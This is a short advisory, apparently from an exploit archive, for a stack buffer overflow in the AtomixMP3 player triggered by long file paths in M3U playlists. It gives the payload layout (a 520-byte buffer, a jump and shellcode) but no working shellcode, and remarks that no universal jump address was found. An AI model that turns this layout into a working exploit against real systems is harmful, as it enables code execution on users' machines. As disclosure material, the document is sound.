AtomixMP3 <= 2.3 - (.M3U) Buffer Overflow Exploit

                                                /*
========================================================================
0-day AtomixMP3 <= v2.3 Malformed M3U Buffer Overflow PoC
========================================================================
AtomixMP3 Player/Mixer fails to properly handle large file paths inside
M3U files, the result is a stack based buffer overflow that allows an
attacker to execute code in the context of the player.
#EXTM3U
#EXTINF:0,TITLE
C:\ + [BUFFER x 520 bytes] + [JMP] + [SHELLCODE in ESP]

I tried finding a universal jump for this but due to restricted characters
all the jumps in XAudio.dll and the effects dll dont work.
Someone probably could find one if they tried hard ;)

Greets to everyone at EEye, Metasploit, Jerome Athias and Expanders :)


Happy Hunting and Happy Holidays to everyone
